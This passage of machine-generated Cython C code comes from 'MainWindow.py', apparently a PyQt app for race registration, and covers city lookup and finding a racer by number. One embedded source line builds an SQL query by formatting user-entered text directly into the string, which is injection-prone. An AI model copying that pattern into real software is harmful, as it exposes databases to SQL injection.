__PYX_ERR(0, 118, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 118, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyDict_GetItem(__pyx_v_c, __pyx_n_u_npa); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 118, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_8)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_8) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 118, __pyx_L3_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_7}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 118, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_7}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 118, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 118, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_8); __pyx_t_8 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_5, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 118, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "MainWindow.py":119 * c = dict( self.t_ville._data ) * self.R_Npa.setText( c['npa'] ) * self.R_City.setText( c['nom'] ) # <<<<<<<<<<<<<< * except Exception as e: * print(e) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_City); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 119, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 119, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyDict_GetItem(__pyx_v_c, __pyx_n_u_nom); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 119, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_7) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 119, __pyx_L3_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 119, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 119, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_8 = PyTuple_New(1+1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 119, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_8, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_8, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 119, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "MainWindow.py":116 * self.R_Npa.setText( c['npa'] ) * self.R_City.setText( c['nom'] ) * elif self.t_ville.getRecord( "nom LIKE '%s%c' AND pays LIKE '%s'"%(fn ,'%', pa )): # <<<<<<<<<<<<<< * c = dict( self.t_ville._data ) * self.R_Npa.setText( c['npa'] ) */ } __pyx_L11:; /* "MainWindow.py":109 * * def findVille(self): * try: # <<<<<<<<<<<<<< * fn = self.R_City.text() * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) */ } __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; goto __pyx_L10_try_end; __pyx_L3_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; /* "MainWindow.py":120 * self.R_Npa.setText( c['npa'] ) * self.R_City.setText( c['nom'] ) * except Exception as e: # <<<<<<<<<<<<<< * print(e) * return */ __pyx_t_10 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_10) { __Pyx_AddTraceback("MainWindow.MainWindow.findVille", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_6, &__pyx_t_5, &__pyx_t_8) < 0) __PYX_ERR(0, 120, __pyx_L5_except_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GOTREF(__pyx_t_5); __Pyx_GOTREF(__pyx_t_8); __Pyx_INCREF(__pyx_t_5); __pyx_v_e = __pyx_t_5; /*try:*/ { /* "MainWindow.py":121 * self.R_City.setText( c['nom'] ) * except Exception as e: * print(e) # <<<<<<<<<<<<<< * return * */ __pyx_t_4 = PyTuple_New(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 121, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_INCREF(__pyx_v_e); __Pyx_GIVEREF(__pyx_v_e); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_v_e); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 121, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "MainWindow.py":122 * except Exception as e: * print(e) * return # <<<<<<<<<<<<<< * * def findNumRacer(self): */ __Pyx_XDECREF(__pyx_r); __pyx_r = Py_None; __Pyx_INCREF(Py_None); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; goto __pyx_L16_return; } /* "MainWindow.py":120 * self.R_Npa.setText( c['npa'] ) * self.R_City.setText( c['nom'] ) * except Exception as e: # <<<<<<<<<<<<<< * print(e) * return */ /*finally:*/ { /*exception exit:*/{ __Pyx_PyThreadState_declare __pyx_L17_error:; __pyx_t_13 = 0; __pyx_t_14 = 0; __pyx_t_15 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_16, &__pyx_t_17, &__pyx_t_18); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_13, &__pyx_t_14, &__pyx_t_15) < 0)) __Pyx_ErrFetch(&__pyx_t_13, &__pyx_t_14, &__pyx_t_15); __Pyx_XGOTREF(__pyx_t_13); __Pyx_XGOTREF(__pyx_t_14); __Pyx_XGOTREF(__pyx_t_15); __Pyx_XGOTREF(__pyx_t_16); __Pyx_XGOTREF(__pyx_t_17); __Pyx_XGOTREF(__pyx_t_18); __pyx_t_10 = __pyx_lineno; __pyx_t_11 = __pyx_clineno; __pyx_t_12 = __pyx_filename; { __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; } __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_16); __Pyx_XGIVEREF(__pyx_t_17); __Pyx_XGIVEREF(__pyx_t_18); __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); } __Pyx_XGIVEREF(__pyx_t_13); __Pyx_XGIVEREF(__pyx_t_14); __Pyx_XGIVEREF(__pyx_t_15); __Pyx_ErrRestore(__pyx_t_13, __pyx_t_14, __pyx_t_15); __pyx_t_13 = 0; __pyx_t_14 = 0; __pyx_t_15 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_lineno = __pyx_t_10; __pyx_clineno = __pyx_t_11; __pyx_filename = __pyx_t_12; goto __pyx_L5_except_error; } __pyx_L16_return: { __pyx_t_18 = __pyx_r; __pyx_r = 0; __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; __pyx_r = __pyx_t_18; __pyx_t_18 = 0; goto __pyx_L6_except_return; } } } goto __pyx_L5_except_error; __pyx_L5_except_error:; /* "MainWindow.py":109 * * def findVille(self): * try: # <<<<<<<<<<<<<< * fn = self.R_City.text() * pa = self.R_Pays.itemData( self.R_Pays.currentIndex() ) */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L1_error; __pyx_L6_except_return:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L0; __pyx_L10_try_end:; } /* "MainWindow.py":108 * return * * def findVille(self): # <<<<<<<<<<<<<< * try: * fn = self.R_City.text() */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_XDECREF(__pyx_t_8); __Pyx_AddTraceback("MainWindow.MainWindow.findVille", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_fn); __Pyx_XDECREF(__pyx_v_pa); __Pyx_XDECREF(__pyx_v_c); __Pyx_XDECREF(__pyx_v_e); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":124 * return * * def findNumRacer(self): # <<<<<<<<<<<<<< * try: * fn = int( self.findNumber.text() ) */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_21findNumRacer(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_21findNumRacer = {"findNumRacer", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_21findNumRacer, METH_O, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_21findNumRacer(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("findNumRacer (wrapper)", 0); __pyx_r = __pyx_pf_10MainWindow_10MainWindow_20findNumRacer(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_20findNumRacer(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_v_fn = NULL; PyObject *__pyx_v_item = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; PyObject *__pyx_t_8 = NULL; int __pyx_t_9; PyObject *__pyx_t_10 = NULL; Py_ssize_t __pyx_t_11; int __pyx_t_12; __Pyx_RefNannySetupContext("findNumRacer", 0); /* "MainWindow.py":125 * * def findNumRacer(self): * try: # <<<<<<<<<<<<<< * fn = int( self.findNumber.text() ) * item = self.L_racerlist.findItems( "%4.0d"%fn, QtCore.Qt.MatchStartsWith) */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { /* "MainWindow.py":126 * def findNumRacer(self): * try: * fn = int( self.findNumber.text() ) # <<<<<<<<<<<<<< * item = self.L_racerlist.findItems( "%4.0d"%fn, QtCore.Qt.MatchStartsWith) * except: */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumber); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 126, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_text); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 126, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 126, __pyx_L3_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 126, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyNumber_Int(__pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 126, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_v_fn = __pyx_t_6; __pyx_t_6 = 0; /* "MainWindow.py":127 * try: * fn = int( self.findNumber.text() ) * item = self.L_racerlist.findItems( "%4.0d"%fn, QtCore.Qt.MatchStartsWith) # <<<<<<<<<<<<<< * except: * return */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 127, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_findItems); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 127, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyUnicode_Format(__pyx_kp_u_4_0d, __pyx_v_fn); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 127, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 127, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_Qt); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 127, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_MatchStartsWith); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 127, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = NULL; __pyx_t_9 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_8)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); __pyx_t_9 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_8, __pyx_t_4, __pyx_t_7}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 127, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_8, __pyx_t_4, __pyx_t_7}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 127, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_10 = PyTuple_New(2+__pyx_t_9); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 127, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); if (__pyx_t_8) { __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_8); __pyx_t_8 = NULL; } __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_10, 0+__pyx_t_9, __pyx_t_4); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_10, 1+__pyx_t_9, __pyx_t_7); __pyx_t_4 = 0; __pyx_t_7 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_10, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 127, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_v_item = __pyx_t_6; __pyx_t_6 = 0; /* "MainWindow.py":125 * * def findNumRacer(self): * try: # <<<<<<<<<<<<<< * fn = int( self.findNumber.text() ) * item = self.L_racerlist.findItems( "%4.0d"%fn, QtCore.Qt.MatchStartsWith) */ } __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; goto __pyx_L10_try_end; __pyx_L3_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; /* "MainWindow.py":128 * fn = int( self.findNumber.text() ) * item = self.L_racerlist.findItems( "%4.0d"%fn, QtCore.Qt.MatchStartsWith) * except: # <<<<<<<<<<<<<< * return * if len( item )>0: */ /*except:*/ { __Pyx_AddTraceback("MainWindow.MainWindow.findNumRacer", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_6, &__pyx_t_5, &__pyx_t_10) < 0) __PYX_ERR(0, 128, __pyx_L5_except_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GOTREF(__pyx_t_5); __Pyx_GOTREF(__pyx_t_10); /* "MainWindow.py":129 * item = self.L_racerlist.findItems( "%4.0d"%fn, QtCore.Qt.MatchStartsWith) * except: * return # <<<<<<<<<<<<<< * if len( item )>0: * self.L_racerlist.setCurrentItem( item[0]) */ __Pyx_XDECREF(__pyx_r); __pyx_r = Py_None; __Pyx_INCREF(Py_None); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; goto __pyx_L6_except_return; } __pyx_L5_except_error:; /* "MainWindow.py":125 * * def findNumRacer(self): * try: # <<<<<<<<<<<<<< * fn = int( self.findNumber.text() ) * item = self.L_racerlist.findItems( "%4.0d"%fn, QtCore.Qt.MatchStartsWith) */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L1_error; __pyx_L6_except_return:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L0; __pyx_L10_try_end:; } /* "MainWindow.py":130 * except: * return * if len( item )>0: # <<<<<<<<<<<<<< * self.L_racerlist.setCurrentItem( item[0]) * self.editRacer( item[0] ) */ __pyx_t_11 = PyObject_Length(__pyx_v_item); if (unlikely(__pyx_t_11 == -1)) __PYX_ERR(0, 130, __pyx_L1_error) __pyx_t_12 = ((__pyx_t_11 > 0) != 0); if (__pyx_t_12) { /* "MainWindow.py":131 * return * if len( item )>0: * self.L_racerlist.setCurrentItem( item[0]) # <<<<<<<<<<<<<< * self.editRacer( item[0] ) * */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setCurrentItem); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetItemInt(__pyx_v_item, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_7) { __pyx_t_10 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_10); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_5}; __pyx_t_10 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_5}; __pyx_t_10 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; /* "MainWindow.py":132 * if len( item )>0: * self.L_racerlist.setCurrentItem( item[0]) * self.editRacer( item[0] ) # <<<<<<<<<<<<<< * * def editRacer(self, item): */ __pyx_t_6 = 